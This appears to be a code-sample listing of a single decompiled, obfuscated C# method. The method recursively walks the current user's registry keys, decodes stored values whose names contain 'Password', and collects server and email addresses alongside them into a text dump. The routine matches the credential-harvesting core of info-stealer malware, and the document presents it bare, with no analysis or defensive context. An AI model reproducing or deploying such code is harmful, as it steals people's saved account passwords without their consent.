Exemple #1
0
    // Token: 0x0600020C RID: 524 RVA: 0x00010660 File Offset: 0x0000E860
    private static string smethod_1(string string_1, string[] string_2)
    {
        Regex  regex  = new Regex("^(?!:\\/\\/)([a-zA-Z0-9-_]+\\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\\.[a-zA-Z]{2,11}?$");
        Regex  regex2 = new Regex("^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$");
        string text   = "";

        try
        {
            foreach (string text2 in string_2)
            {
                try
                {
                    object obj = Class15.smethod_2(string_1, text2);
                    if (obj != null && text2.Contains("Password") && !text2.Contains("2"))
                    {
                        text = string.Concat(new string[]
                        {
                            text,
                            text2,
                            ": ",
                            Class15.smethod_3((byte[])obj),
                            "\r\n"
                        });
                    }
                    else if (regex.IsMatch(obj.ToString()) || regex2.IsMatch(obj.ToString()))
                    {
                        text += string.Format("{0}: {1}\r\n", text2, obj);
                    }
                    else
                    {
                        text = string.Concat(new string[]
                        {
                            text,
                            text2,
                            ": ",
                            Encoding.UTF8.GetString((byte[])obj).Replace(Convert.ToChar(0).ToString(), ""),
                            "\r\n"
                        });
                    }
                }
                catch
                {
                }
            }
            RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(string_1, false);
            string[]    subKeyNames = registryKey.GetSubKeyNames();
            foreach (string str in subKeyNames)
            {
                text += Class15.smethod_1(string_1 + "\\" + str, string_2);
            }
        }
        catch
        {
        }
        return(text);
    }